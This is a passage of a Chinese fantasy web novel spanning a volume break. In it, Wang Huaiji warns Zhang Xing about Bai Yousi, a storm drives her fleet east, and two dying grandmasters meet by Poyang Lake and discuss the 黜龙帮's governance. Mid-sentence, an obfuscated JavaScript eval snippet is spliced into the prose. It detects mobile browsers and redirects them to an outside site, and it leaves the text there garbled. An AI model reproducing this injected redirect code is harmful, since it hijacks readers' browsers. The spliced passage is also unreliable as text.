“先说简单的,无论是人还是之前的百族,乃至于开了灵智的野兽,修为到了大宗师那个层面,也就是个人本属的天地元气到了一定份上,便是证位的基础,而证位在四御之前就是要天意认可,四御之后,稍可代天来敕。”王怀绩先回答了后一个问题。“而这也是你前一个问题的基础……若论证位四御,前四位都可以,后来人自然也可以,而你尤其可以,因为没有人比你更懂天意,咱们刚刚说过天意是什么的。” 预料之中的答案,甚至是一开始穿越过来就觉得理所当然的答案,但张行此时听来居然不喜不怒:“不是我矫情自饰,但若是这般说来,岂不是我占了天下古往今来英雄的便宜?” “四御老爷,哪个没有占天下古往今来英雄的便宜?”王怀绩的回答倒是出乎意料,却居然是连串反问。“譬如这黜龙帮,到了今时今日,若说你张行还不算什么,那黜龙帮加在一起算不算一条真龙?若此龙得证一位,你以为是谁来受此位?! “四御黑白赤青,他们建功证位的时候,难道没有自己的黜龙帮?黑帝爷五百英豪出黑水,如今都在哪儿?白帝爷建业,干脆就是起兵讨荡,确立人族之重,可人族自百族中拼杀出来,哪一代哪一时没有豪杰?凭什么祂收了天恩?至于赤帝娘娘,祂平山填海,干脆用的多是妖族掳掠来的各族奴隶;青帝爷自是群龙中最聪明那个,第一个听懂了天意,其余诸龙又落得什么下场? “若这些还不够,巫族罪龙算什么? “张行,天意就是这般不仁不义,你占了一番天机,能了一场事,那便是你的一份机缘和道理……这般感慨,不是矫情自饰,又是什么?” 张行认真听完,心中冷笑,不由反问:“阁下如何这般动怒?莫非也是矫情自饰?” 王怀绩忽然一滞,立即闭口。 张行也站了起来:“今日的事情,张某感激不尽。” 王怀绩点点头,从榻上翻身坐起,抱着宝镜来对:“是我失态了,若有其他想问的,我就在这边,你走前尽管来问。” …. 张行再一点头,对方已经走到门前,秦宝也让开道路。 但就在这时,其人忽然止步,然后回头:“我刚才就想说的,竟被阁下弄糊涂了……张首席,有件事情,你不问,我也要告诉你。” 张行抬手示意:“请讲。” “白三娘就是赤帝娘娘那一块。”王怀绩认真告知。 “早猜到了。”张行不以为意。 “我不是要说这个。”王怀绩抱着宝镜继续言道。“我是说,你不要小看四御,你一个点选之一,黑帝爷都能做个北地的局面请你去,那赤帝娘娘对你家白三娘呢?而且,你看白帝爷写的小说便该知道,赤帝娘娘的脾气可素来执拗偏激,黑帝爷懒得用的手段祂偏偏就敢用……这出戏,本该是大魏将亡,各方归位,其中你翻山,白三娘越海,是为山海,现在你自行做主,未见山便折回,可白三娘却已经出海,未免前途未知了,你对她有信心吗?” 张行愣在原地。 同一时间,渤海腹地,黜龙帮河口舰队已经自大河口北上数日,估摸着已经要到幽州以东境地。忽然间,正在船舱看书的白有思放下了手中的《六韬》,然后警惕了起来。 这是一种莫名的心惊,而已经到了宗师境地的白有思有理由相信,这是某种对自己而言有着巨大命运改变的预兆……于是乎,迟疑了片刻后,白有思直接起身取了长剑,便往舱外而去。 “总管。”一旁马平儿被惊醒,连忙惊愕询问,然后匆匆持剑追出。“出了什么事情?“ “我不知道。”白有思立在甲板上,扶着长剑四下来看,任由杂乱的海风将她发丝吹乱。“你帮我留意。” 马平儿不明所以,但还是打起精神,四下来看。 看了一会,这个正经在淮上涡河口做过事的前女侠忽然察觉到了一点什么,却没有开口。 白有思立即去看对方:“怎么回事?” “风向忽然变了……春日间居然起了西北风!整个船队都在往东面偏!”马平儿嘟囔着。“但我不晓得海上气候,是不是不算什么?” 得到提示,白有思迅速察觉到了异样,但也同样不解,因为风向虽然怪,但风本身不大。 而她刚要再开口,下一刻,大风骤起,自西北向东南,海浪也随之而起,摇动船只。 “落帆!” 风浪第一时间惊动了各船值夜的船老大,而白有思修为这般高,却是听得清楚。“落帆,跟着海浪走,不落帆,要翻船的!” 听到这般话,她便是修为高深,此时此刻,又如何能笼罩整个船队?只能眼睁睁看着船队降下帆来,然后改变方向,向东南方飘去。 “要是风一直吹,这么飘几天会如何?”待到船帆下落,白有思主动上前来问船上老大。 “不瞒总管,要饿死、渴死的,咱们是近海靠岸走的,没有储存太多粮水。”船老大此时并没有过于紧张,因为帆已经落下。 “必死无疑?” “那倒不至于。”船老大想了想,认真告知。“实在是不行,就开了帆,借着风往东南跑,到东夷落脚……渤海这个地方,只要不往东北面飘荡,就没有绝路。” 白有思若有所思,继而眯起眼睛看向了东南面的海上。 而她头顶骤然而起的西北风根本没有停下的意思,居然真的维持住了这个烈度,卷着整个船队向东南面飘去。 转回观城,王怀绩说完就走,张行则望着门外夜色愣了一愣,想了一想,但听着外面依旧充满了全城的欢声与哀戚,其人还是回过了神来,然后缓缓回到桌案前,只低头在纸上又加了一条: 查询军中、地方未婚士民百姓,鼓励嫁娶,建议各行台为军中将婚者统一主持举办婚礼。 写完这一条,张首席忽然放下手中炭笔,喊了秦二,坦然去睡了,竟是难得睡个好觉。 正所谓: 一泊沙来一泊去,一重浪灭一重生。 相搅相淘无歇日,会教山海一时平。 PS:感谢新盟主张无忌九个0老爷!感激不尽!! 本卷完。 . ... 第一章风雨行(1) 进入三月,江南已经开始热了起来。九江一带,最近刚刚落了一场雨,雨水之后,鄱阳湖水涨,植被也愈发茂盛,阳光之下,花红叶绿配合着江湖之水,鱼虾鸟兽到处都是,显得格外生动。 景色生动,人更生动。 鄱阳湖通往大江的狭窄区域偏西侧,一处港口后方的官道上,喊杀声刚刚稍歇,两拨人马,一拨只剩百十人,还多带伤,只缩在背河的一个小丘上,负隅顽抗而已;另一拨足足数千人,却是水陆并存,将小丘围的除了水泄皆不通。 “许大哥。”一名左手掌整个断掉,只拿衣物简易捆住的军官卧在丘上一块大石碑旁,看着这一幕近乎咬牙切齿,却又强忍疼痛与愤怒来看身侧之人。“姓朱的跟姓沈的这是有备而来,你走吧,趁还有些真气,加上水性好,从水路逃出去!” “我碎了丹,也要跟朱纣拼了!”一旁一位肩窝上中了一箭之人居然是位凝丹高手,闻言愈怒。“这厮当日疑惧黜龙帮和淮右盟不能容他,从南阳逃过来,分明是个丧家之犬,是我们湖南人收留了他,他却勾结江西人截杀我们……怎么能忍?” “许玄!”那断掌军官大怒,一开始便想打断对方,但明显疼痛失力,费了好大力气方才止住,继而呵斥。“你碎了丹,必死无疑,他逃了便是,不过是多杀几个喽啰,得有人去报信,只要张大哥他们知道是朱纣做的好事,必能处置了他!况且,这事不是一个朱纣,背后还有操师御跟……这才是关键!” 听到这里,那唤作许玄的凝丹高手终于忍耐不住,先是当场落泪,抹掉之后,复又扶着肩膀站起身来,却又朝着那石碑狠狠唾了一口血沫,然后方才踉跄几步,向后方水面上腾跃起来。 结果,刚一起来,水面上那些船只尾部齐齐掀开一个芦席,各自露出或三五或七八不定的****机来,一时间钢矢齐飞,居然朝着此人攒射过来。 那许玄明显真气已经耗到一定份上,护体真气都不足,又猝然被伏击,居然当场中了四五根钢矢,宛若中了箭的大鸟一般,歪歪斜斜朝着湖中落去。 继而溅起一片水花。 岸上水上,齐齐欢呼,完全盖住了小丘上众人的绝望。 几艘小船转的快,便飞速往落水处去捞战利品。然而,就在这时,众人看的清楚,一艘跟战场不能说完全不搭界,最起码让人感到突兀的乌篷船莫名出现在了视野内……而且,那乌篷船看起来明显就是顺水而走,缓慢到激不起多少波纹,却居然抢在那些快船之前来到了之前许玄的落水处,然后一个年轻文士模样的人走出船舱,一根绳子甩下去,居然就如变戏法一般把人捞了起来。 倒是卸人的时候累得不轻而且一身水渍,俨然狼狈。 说实话,这幅情形已经很诡异了。 但更离谱的还在后面,乌篷船在几艘小船的小心环绕下,带着受伤的许玄,居然主动往岸边而来,两侧水军在军官指挥下分开,船只很快与这支兵马主将朱纣等人当面而对。 “朱将军,在下河北房玄乔。”年轻文士拿下刚刚发现的肩膀上水草,匆匆拱手来言。“能否给我个面子,就此撤兵罢手?同室操戈,实属不当。” 骑马立在湖岸上的朱纣目瞪口呆,偏偏他晓得对方必有古怪,却是在回过神后失笑来问:“阁下姓房,是河北人,莫非是黜龙帮的吗?” “在下现在无所属……不过我有三个族叔,都在黜龙帮做头领。”房玄乔有三说三。 朱纣笑了笑:“便是阁下有三个叔叔做黜龙帮头领,可这里到底是梁公治下,阁下的面子怕是不顶用吧?” “也有道理,但正所谓不看人面看龙面,我的面子不顶用,那位的面子却该给吧?”说着,房玄乔指向小丘顶部。“千金教主立千金柱,莫说梁公以真火教为护国真教,你们都该敬奉,便是千金教主对天下的恩泽,也不该在这碑上撒血吧?听人说,这些千金柱就是千金教主的塔,伱们不会以为他察觉不到吧?” 朱纣听到第一句话时便面色大变,继而欲言又止,却又看向了身侧两人,但那两人明显跟朱纣一样,既慌乱又有些不甘,最后三人面面相觑,只一起看向了房玄乔身后船舱,俨然是心中存了猜想。 倒是那船上的许玄,浑身血流不止,还扎着几根**矢,如今努力挣扎着撑起身子,居然对着身下再度吐了一口血沫:“便是死在这里,哪里又要那个欺世盗名的来救?!” 闻得此言,朱纣等人明显抓到机会,即刻便要开口。 但也就是这时,一名年长文士忽然从船舱中走了出来,却是双眉一皱,当场对着岸上呵斥:“滚!莫要惊扰了老夫随恩师游湖!” 一声发出,虽然带怒,却并无多少中气,但还不等朱纣等人反应,下一刻,这句话仿佛从天上地下一起涌来一般,便是整个湖面也都起了无数微波。 朱纣等**惊失色,连忙勒马后退,却又在退却数十步后反应过来,仓促下马,纷乱回身朝着船舱恭敬下拜。 然后居然就是水陆一起撤走。 非只如此,被围困的那伙人也醒悟过来,稍作收拾便相互搀扶下来,来到湖畔接了许玄,犹豫了一下,到底是在为首那个断掌之人的带领下恭敬下拜,朝着船舱重重磕了几个头,然后才带着复杂心情仓皇往大江方向走了。 眼看着人走了干净,那年长文士,也就是晋地文修宗师王怀通了,方才入了船舱,将、自家恩师,也就是晋地大宗师、金戈夫子给扶了出来。 一月而已,相较于之前河北时的风采依旧,金戈夫子明显已经行动不便,神色萎顿,但双目依旧清明。 随即,房玄乔引路,师祖孙三代登上了土丘,踩着斑斑血迹和抛弃的军械杂物,来到了著名的千金碑前。 石碑很大,上面清楚的刻下了大江周边一度流行的咳血病种种详细症状,以及眼下无药可救的现状,最后对此病由来的几种猜想,和包括人畜一起远离钉螺、泥沼中尽量穿草鞋、少喝生水等防范法子。 “怪不得要立在湖边。”房玄乔登时醒悟。“之前郡城外的官道上是治脚气、伤寒的法子,那边集镇是小儿急救与妇科药方,路边的都是柱子,这里却是碑……千金大宗师委实用心了。” “人命至重,重于千金。”气色不佳的大宗师张伯凤仔细也看了一遍,然后闭目摇头张口,须发随风而动。“恨我年轻时早早自诩见识过天下英豪,便故步自封,不愿离开乡梓,若早至于此,见得此碑,便也早走通了道路……可惜,可惜!不过,我沿途走来,也为千金教主可惜……可惜,可惜!” “惭愧,惭愧。” 王怀通刚要接口,却不料,南面风中也传来一个苍老声音。“不过,朝闻道夕死可矣,若能与张兄闲坐论道,相作解惑,便是此生无力再行新路,也不算可惜……洞庭孙思远,见过张兄,不意你我此生能相见。” 王怀通松开扶持自己恩师的双手,与学生房玄乔各自后退了几步,很快,随着一阵并不浓郁的长生真气沿着湖面飘来,一艘船载着两人也出现在了小丘另一侧,为首者赫然是一名同样须发皆白的老者。 孙思远的状态远胜张伯凤,其人登上岸来,走上小丘,主动行礼:“刚刚多谢张兄解围了……委实感激不尽。” 张伯凤勉强还礼,还是好奇:“孙教主,你自是这几百年真火教最出众的教主,为何连自家人内讧都不好出面?反而要我出来?” 原来,张伯凤之前便已经察觉到了孙思远的存在,也意识到对方似乎有些无能为力,这才主动出面阻止了这场战斗。 “确实有些原委,主要跟我之前的负气作为,还有我们真火教的一些经历有关。”孙思远主动来搀对方,然后两位大宗师就在石碑旁的草地上盘腿坐了下来,一时望鄱阳湖而叹。“当年大魏灭陈,势不可挡,我作为真火教当时的教主,早晓得没了什么机会,东齐灭亡后便亲自去了一趟西都……那时候还不是大兴城,还是长安城……得了先皇帝的许诺,只要我不出手,约束着下面的人不出手,真火教就是与三一正教齐平的国家正教。” “应该有忌讳武功山的缘故吧?”张伯凤插了一句嘴。 “就是看到了这个才去冒险的。”孙思远坦荡来答。“虽说三一正教上面不管着下面,而且素来恭顺不惹事,可代代都是大宗师,还就在长安城边上,谁能不犯嘀咕?真当伏龙印搜罗过去是要搞政变的?而天下一统,便要对我们这些教派远交近攻了。不过……终究还是被我一时冲动毁了。” “巴陵那一战吗?”张伯凤醒悟。“你果然出手了?可杨斌当年一日千里,江神成道,据说不也成功了吗?” “这就是问题所在,出手了却没成,反而弄得对外失信,对内失威。”孙思远幽幽以对。“我当日让下面人不要出手,可我爱徒却在大魏真打过来前两年娶了陈朝公主,并铁了心要镇守巴陵,维护陈朝。当时杨斌自上游而来,他干脆变卖家产,招揽教中好手,一意守江……甚至不惜以观想的铁索横江,试图就地立塔。结果当日杨斌也在一日千里,炼化黄龙,他的副将刘仁恕也有隐隐骑行黑龙之态,最后就是杨刘两人水陆双龙并进,一日内九次攻击,我那徒弟技不如人,铁索崩坏。战后,杨斌释放了俘虏水军,但刘仁恕在岸上却放肆屠戮,那些都是教中精英……我没有忍住,出了手。” “怪不得刘仁恕当年那么大声势,灭陈之后反而没了踪迹,竟是被你重伤。”张伯凤也不由叹气。“但这么做,非但惹怒了大魏,便是教中精英也恐怕不会感激你。” “何止?!”孙思远一声叹息,满眼无奈。“其实,因为江南地理分野清晰,我们教中素来有湖南、江西、江东三大派系,而那一战后,教中湖南精英死伤颇重,恨我不早救,江西精英却因为驻守此地的长沙王降服,整个囫囵跟着降了……从此以后,湖南当地虽然还点真火,却都弃了真火教的总舵,自行其事了……三家也更加生分,却都怨我,内外都嫌,我也只能离了教。” “但若如此,刚刚孙**出手救人总是没顾虑的吧?”王怀通在后蹙眉发问。“为何这般无奈?” “那是因为刚刚这次刀兵,埋伏者背后乃是如今正经的真火教主操师御。”孙思远低头捏起一小团被血污了的泥土,无奈又放下。“我若拦了他,不知道教中又要闹出来什么,说不得引出来别的大祸……梁公起兵,我本以为教中能再次统一的,却不料反而加剧起来。” “说不得操师御还以为自己正是要来统一贵教呢。”房玄乔忍不住插了句嘴。 “其实这正是那什么梁公和操师御无能!”倒是王怀通毫不犹豫拂袖道。“曹彻就在江都,依旧作威作福,索取无度,但凡来个白横秋在萧辉的位置上或张行在教中做个执事,都能借着反魏反曹把人捏在一起,别说什么湖南、江西,便是江东世族都能服膺!服不了,也能处置得当,何至于当道火并?!” “师父所言极是,不说之前,现在司马正去了东都,徐州空虚,江都内外失衡,马上就要倾覆,萧辉和操师御不去集合力量去做大事,最起码也要防范东都精锐失控,反而在这里大开杀戒……”房玄乔分外同意。 孙思远低头不语,他的那个随从一时涨红了脸,也只是低头。 王房二人即刻晓得,这倒不是说孙思远就觉得那俩人“有能”,而是说,在这方面他孙思远当年和现在也都“无能”,实在是没脸讨论这个话题,便也不好再多说什么。 “赤帝娘娘不是素来管的多吗,现在也不管了?”张伯凤倒是从另一个角度解了围。 “赤帝娘娘对我当年的行为应该也是有怨气的,祂素来不吝于显圣表态,结果从我退教前后开始便不怎么理会我了,反倒是我离开真火教后,教中便恢复了正常。”孙思远愈发无奈。 “你也难。”张伯凤不由笑道。“都说大宗师是陆地神仙,可你看咱们这几个大宗师哪个不被锁着?上面有至尊朝廷,下面有家族师门,还要顾虑地气、地域,全身都套了圈子。” “确实,而且我的经验是,单以修行来论,当日离教未必是坏事。”孙思远倒是冷静。 “相当于脱了一层枷锁?” “是……我虽在教中时便是大宗师,但是出来以后自立千金柱,才觉得像是脱胎换骨,有了自己的东西。” 张伯凤缓缓颔首,复又摇头:“不知道南岭那位和黑水那位又是怎么回事……老夫一定要去南岭看一看!” “南岭的话,张兄恐怕撑不住了吧?”孙思远一声叹气。 此言一出,王怀通、房玄乔俱皆色变,自数日前在襄阳追上张伯凤,他们便意识到知道对方已经天人五衰,不可违逆,但总因为对方是大宗师而带着一丝侥幸……现在孙思远一句话,却彻底让他们躲无可躲了。 在曹林死后这才多久,另一位大宗师便也要**。 “这有什么值得忧惧的?”张伯凤似乎是晓得自己的学生与徒孙的心思,反而回头含笑。“自大魏灭陈算起,地气稳固,几位大宗师一直是那几位大宗师,现在大魏已经到了最后一口气,我们这些人……别的倒也罢了,曹林和我算是正经大魏余孽,牵扯太深了,既没有本事学英国公革陈出新、另起炉灶;又没有孙真**破大立,重新立塔的魄力……不过,也都来不及了。还是可惜。” 王房师徒各自黯然。 便是孙思远也有些无力。 “孙**也可惜,但说不得还能不可惜。”说到这里,张伯凤忽然又看向了一侧的千金教主。 “正要请教。”孙思远也肃然起来。 “其实,我在河东时听河北黜龙帮的一些作为,便有了些察觉和醒悟,而来到这边,看到你的千金柱,便彻底晓得,我后半生犯了个大错,那便是建学校教学生却不能做到有教无类,立教统却不能广传己学,不能做到推私及公。“张伯凤正色道。“反过来说,阁下在这些方面做的极佳,却又缺乏条理和深度,缺乏一个汇集有志之士的根基之所,将这些千金方推陈出新,来精研求本。” 孙思远一时沉默无语,只是望着鄱阳湖湖面失语。 到了他们这种地步,其实就是一句话和一个决心的事情,张伯凤说完,也不言语,只是努力抬头来迎湖风。 倒是王怀通,心中一动。 他如何不晓得,自己恩师是在提醒孙思远,更是在提醒自己,给自己指路呢? 照理说,已经走上同一条路,而且注定要接手南坡的王夫子更应该理解到自己恩师的思路,但王怀通想了一阵子,反而闷闷:“恩师是说,黜龙帮最无稽的政策,也就是强制少年少女一并筑基、识字,反而是走在我们前面的天下正道了?若是如此,我们便是学了,路已经被人家走了,我们又能如何?” “首先,我现在的确觉得,这个政策是天下之正道……他们都说这是张行这个年轻人少有的昏招,乃至于有人猜测是他建立私**威、控制地方的手段,但自从我晓得以后就觉得,这可能是人家走在所有人前面的正道、大道……倒因为有些超前,反而被人轻视了。”张伯凤喘了口气,缓缓来做回复。“至于说,人家做了,我们就不能做,那更是负气的言语了。且不说争龙这个事情,内外上下,不知道什么时候谁一口气泄了,就失了风头,他们未必能做成。只是人家在河北东境做了,我们难道不能在晋地关西来做?还不要说,我们要做的事情,跟他做的事情也不一定是竞争关系……书院还是太高了,便是往下一点也够不着他们刚刚筑基、识字的地步;恐怕还要他们再往上一点才能连起来。” 王怀通陡然醒悟,却又叹气:“可惜,事情总是要从下面起来的,不免还是要以他们为本,否则便是无根之木无源之水。” “你能晓得这个,说明比我强,没有被家世蒙了眼睛,看不起下面人。”张伯凤诚恳来道。“最关键的就是这个……既见了千金柱,便该晓得,凡事以人为本是对的,只要是人,便可动摇天地元气,便可寻路成道。” “若非是河北一行,见到了黜龙帮的和作为,晓得魏玄定那些人居然还有些能耐和前途,我还真未必这般坦诚说出这般话来。”王怀通板着脸答道。“我不是厌弃他们,而是一直只觉得他们不能受教,不能成事。” “所以说,还是要多走一走,看一看,不能因为一座塔、一个念头就把自己束缚住了。”张伯凤拍着自己腿弯失笑道。 “说得好。”这一边,倒是孙思远开了口。“说得好……刚刚张兄点醒我,我如何敢不再入俗世试一试?可人在庐山,思虑周边皆是真火教的根基,哪怕是治病救人,也不好再起炉灶……唯独天下之大,何处不可去?当今乱世,或有大厮杀,我为什么不出去走走,寻一个要冲之地,起一个千金台,重立些千金柱呢?却不知道往后何处将大乱?哪些地方合适一些?” 张伯凤愣了一下,却没有直接回答,而是回头看自己徒孙房玄乔。 房玄乔立即拱手作答: “不瞒孙**,马上要打大仗的是关西、河北、江淮,可前两处便是激烈,也会迅速平息,至于北地、巫族、东夷之地,皆不可幸免,但又偏僻。故此,我以为将来战事持久、反复拉锯者,又道路通达者,还是东都周边为主,淮西-徐州似乎可行。” “东都有了司马二龙。”张伯凤点头,回身来对。“大河两岸是黜龙帮的根基,张行、雄伯南,乃至于其下种种,皆不可限量,关西自是关陇连成一体,巴蜀的当庐主人估计也要起来了,再加上晋地,关陇还是很强,你若行此事,便不好专向一家……所以若江南不愿意留,老夫以为江淮确实可以去看看。” 孙思远拱手以对:“既如此,送了张兄南下后,我便不拘江淮之地,北上走一走,再看看如何定址,招揽人手。” 张伯凤也笑了,却居然有些如释重负。 他既弃武从文,一辈子都不能更改好为人师,劝道解惑的本性。 解决了眼前的事端,说了情况,谈了道途,这个时候,却是孙思远继续了话题:“不过,刚刚三位言语,只说黜龙帮此番立住了跟脚,我倒是有些好奇起来……真火教传承许多年,尤其是之前几百年,几次想做事,但总不能脱离教派樊笼,以至于为豪杰所破,沦落下风。再看其余地方,荡魔卫之类也多如此。往之前看,许多帮派起势的也不是没有,却都没有摆脱帮会草莽之气。想来黜龙帮本是东境帮会,如何做到这般地步,听起来竟似遥遥领先一般?” “还得孙**自己去看,至于说黜龙帮眼下的局面……”张伯凤摇头以对,却又止住。 身后王怀通则看向了房玄乔。 房玄乔失笑,拢手走下坡来侧身而答:“不瞒**,要我说,什么帮会、教派、霸府、朝廷都是虚的,关键只在一点,便是如何能调动治下的人才、兵丁、钱帛、盐铁,又能调度到什么程度,然后使用这些根本时又能有多少用在正途而非私欲上……而要从这方面来说,黜龙帮却是更胜其他各家一筹,因为他们家是帮政分立,郡府、县衙、乡里都在,仓储、官道照样维护,上头也有霸府类的行台,对应的官职也都在,所谓帮中身份乃是单独的收拢人才,进行人事安排,也是团结人心的东西,并没有影响正常的行政体制。至于说寻常帮派,多是以利而合,上来便从根基上坏了正常的政务,不是一回事。” 孙思远恍然,复又不解:“黜龙帮一开始便是如此吗?” “当然不是。”房玄乔认真作答。“他们一开始用帮派来拢人是不得已,因为起事之初东境西段两郡中,固然有朝廷官员和文修要反,但真正有兵马钱粮的却是几个乡野大豪、东齐故将之后,这些人已经被大魏朝廷压得成了坐地的盗贼之流,不用帮派来排位子,那些人根本不懂……只不过,从一开始的时候便有张行这些人一直带着往帮政分离走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167955|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才有了后来。” 孙思远连连点头:“原来如此,事在人为。” “其实。”房玄乔看了眼恩师,主动继续言道。“非要打个不恰当的比方,这就好像朝廷体制之外关陇世族相互联姻结成一体一般,但黜龙帮不是用血缘婚姻,而是尝试另辟蹊径,尽量以剪除暴魏安定天下为志向,从所有人中拉拢人才,构成一体……从此处来说,或许有些虚浮,但无论如何都胜过其他了。” 孙思远没有吭声,只王怀通负手来言:“你若有心,尽管去便是,我从来没有阻拦你的意思,只是恩师这里即将……远行,南坡的事情我也要承担起来,接下来咱们得有所选择。你是要出仕入帮做个图谋,还是要留在晋地潜心文修?入仕,自然可以去借黜龙帮或者关陇之地气,腾云起舞;而文修,你师祖已经指了新路了,咱们师生完全可以在晋地徐徐展开走下去……所以你的志向到底在哪里?” 一直没说话的孙思远侍从也看向了房玄乔。 而房玄乔犹豫了一下,给出了自己的答复:“不瞒恩师与师祖,我都想要。” “那就去黜龙帮修行嘛。”张伯凤反而给出了建议。“在黜龙帮里也可以教学生,而且教的更多,刚刚都说了,一定不要囿于出身、囿于地域,黜龙帮里做书院,说不得事半功倍。” 房玄乔拱了下手,没有应声,也不晓得他是如何思量。 “这张行是什么来头?”孙思远适时来问。 “黑帝爷的点选,却走出来了一条自己的路……但有没有人指点,我就不知道了。”张伯凤有一说一。“我与他细细聊过,满肚子想法,六七分的诚恳,极利的口舌,但最关键是还能笼络人心,让人跟他走……” “每样都很了不起。”孙思远幽幽以对。“加一起更了不起了……如此说来,必然是黜龙帮与关陇新贵决一死战了?” “不好说。”张伯凤幽幽以对。“白横秋刚走,黜龙帮马上就有一个新的大坎,却不知道黜龙帮能坚能硬之外是不是还能屈能伸。” “江都吗?”孙思远当然晓得对方是在说什么。 “不错。”张伯凤刚要展开,却又忽然感觉到一丝疲惫,不由苦笑。“罢了,反正是见不到了。” 几人皆不好再长篇大论。 “你们两人不要跟来了。”停了半晌,张伯凤忽然再开口。“剩下路程请孙**送一送我便可,你们只管走自己的路。” 王房二人齐齐来动,却又被张伯凤摆手制止:“老夫这一生,年少从军,横戈百战于晋地,之前虽说是自满,就此迷了眼睛,但确实也将西魏东齐的英杰们看了个遍,算是稍有见识,稍得军功;后来侥幸活下来,南坡开院,教书育人,什么都教,什么都想,却还是限制在一地,天然做了世族子弟的专院……但我并不以为这就是什么不值的事情……尤其是先帝晚年,甚至禁了学校,独有我的南坡坚持了下去,也算是有一份功德了。” 孙思远立即颔首。 “其实,人之一生,道阻且长,便是没什么成就,只要做事为人问心无愧便可!”张伯凤继续言道。“便是曹林,将来天下人可能都会视之为可笑之辈,但他自己想来也是无愧的!既然无愧,走到哪儿,就落在哪儿,何必再给自家子弟露什么衰像?你们委实都不要跟来了。” 话到这里,两人都不好说,而张伯凤顿了一顿,便站起身来,就望着烟波缥缈的鄱阳湖出神。 隔了好久,到底一声轻叹:“但还是可惜,可惜!” 周围四人,俱皆动容,王怀通更是双目发红,继而直接带头,引房玄乔一并下拜,朝着张伯凤恭敬大礼……这位已经成名许多年的晋地文修宗师,本想按照一定古礼来完成告辞,孰料跪下以后,却情难自抑,只如一个老农一般在满是血渍尸首的草坡上狼狈叩首,而且反复多次。 房玄乔完成礼节,看着这一幕,只能无声静候。 停了片刻,干脆是张伯凤主动扶住了孙思远,后者会意,干脆以真气“扶”着对方,往下方船只而去,待上了船,复又回头拦住一人: “士扬,你也不用跟来了。” 那随从一愣。 “我知道你早就存了建功立业的心思,教中随萧辉起势后你更是坐卧难安,如今我要去江淮了,你也可以放开手脚,做你想做的事情了……操师御跟你是同乡,我又走了,必然重用你……尽管去吧!顺便收拾一下此地的尸首,都是教中兄弟。”说着,脚下船只逆风自动,须臾更是自行转过弯来,往鄱阳湖深处去了。 徒留岸上三人沉默无声。 过了好一阵子,眼看着两位大宗师消失在视野中,房玄乔却主动拱手开口:“未请教阁下姓名……是姓是,江都是姓,还是姓别的什么?” 王怀通这才回过神来。 “林士扬。”那人仓促拱手。 而顿了一顿,这林士扬复又甩手低头,情绪低落起来:“其实,我不止是操师御的乡人,还是他的义弟兼心腹,是操师御做了教主后派来监视老教主的,老教主早就知道,但到最后都没有揭开这一层,给我留足了体面……这话,也只能对两位北方人来讲,不然一直要憋心里的。” 房玄乔没想到这一出,只能颔首。 王怀通也只好胡乱点头:“记住孙**的大度,以后做事妥当些便是……我们师生随你处理一下这些尸首,也算是在这里守恩师最后一日。” 林士扬也只能跟着点头。 三人对着点头,接着却还是林士扬出了大力,他等了一阵子,自寻了之前散开的朱纣等人,说明身份,朱纣军中本就有操师御派来的高手,自然无话可说,乃是将尸首收拾起来,稍**洗了干净,当晚便放在了准备好的木柴堆上,继而挨个点燃。 熊熊烈火,燃尽残躯,许多年了,江南都是这个规矩。 王怀通望着这些火光失神许久。 翌日,朱纣等人开拔,晓得王怀通是太原王氏出身,还是晋地成名的宗师,更是大宗师嫡传,当然要小心来问,准备邀请对方往九江城去。 但王怀通是何等人,连张行都看不上,如何能看得起这群自相残杀的江南义军?实际上,他知道朱纣本是南阳义军却畏惧黜龙帮的帮规逃到这里后,就是更是看不上了。回过神后,对林士扬也有些鄙夷。 再加上他此行本就是要送恩师最后一程,如今恩师已经相当于告别,又怎么会留? 于是,也干脆带着房玄乔北上。 只不过,走到江上时候,忽然想起来,旧交吐万长论如今正在下游宣城,便干脆动身过去。结果,一日千里行到宣城,却又闻得一个新的讯息,乃是吐万长论连宣城都不能立足,已经逃到北岸历阳去了。 所幸,只是南岸北岸,没有耽误路程。 再行到历阳,终于见到吐万长论,而后者身心煎熬,忽见故人,不由惊喜。 王怀通倒也干脆,见面**手直接来劝:“老将军,江都必出大乱,大魏必亡,早点走吧!回关中做个安乐公便可,总比在油釜中煎炸要强。” 吐万长论犹豫了一下,也当场剖心来对:“我也觉得要垮,可是,江都城内有牛督公、来总管;而鱼总管已经退到江宁,我已经退到历阳,三郡挨在一起,足足四位宗师,便是乱又从哪里乱呢?怕只是怕,我一走,反而开了口子,露出破绽,到时候那些人作起乱来,将大魏之亡都推到我头上……我本人一个战场上进位宗师的将帅,这把年纪了,**也就**,名声坏了,反而要连累家人的。” 王怀通无奈,只能仰头而叹:“既不能走,也一定不要再入江都了。” “自然晓得。”吐万长论连忙颔首。“你小子既来,今日且纵情一醉……也与我说说北面事。” 王怀通只能与对方携手进入。 倒是房玄乔跟在后面,不由无语……不入江都,便躲的开生死吗?不走,便不会坏了名声吗?天塌了,大宗师挡不住,心思各异的四位宗师又能如何? 但终究没有开口。 “虞常基和齐王殿下且不论,只四位宗师怎么办呢?” 酒宴摆开,邻郡而已,江都城内,东都骁锐中的一位中郎将在桌上认真来问,赫然是之前在徐州与黜龙帮大战的赵行密,此时职务依然还是右御卫的左翼第一鹰扬郎将。“” 为首开宴者沉默不语。 这引得宴席气氛直线下降。 而等了片刻,非但无人开口,反而有一人忽然借着酒劲哭泣起来,却是左屯卫所属右翼第二鹰扬郎将张虔达:“我当日怎么就从徐州逃回来了……若是不逃,此时也跟着司马二郎回到东都了!何至于在这里人不人,鬼不鬼?” 众人既鄙夷,又心酸,也都不知道该说什么好。 半晌,赵行密缓缓开口:“还是要找司马氏……司马将军,你跟司马氏虽不同族,但毕竟同姓,何妨跟我一起去联络一下司马化达?还有张将军,你也不要哭了,司马士达虽已经**,但何妨去寻当日接应你和司马士达一起出逃的司马进达?” 为首那名复姓司马的将军一时不解:“为什么司马兄弟就行了,他们敌得过四位宗师?” 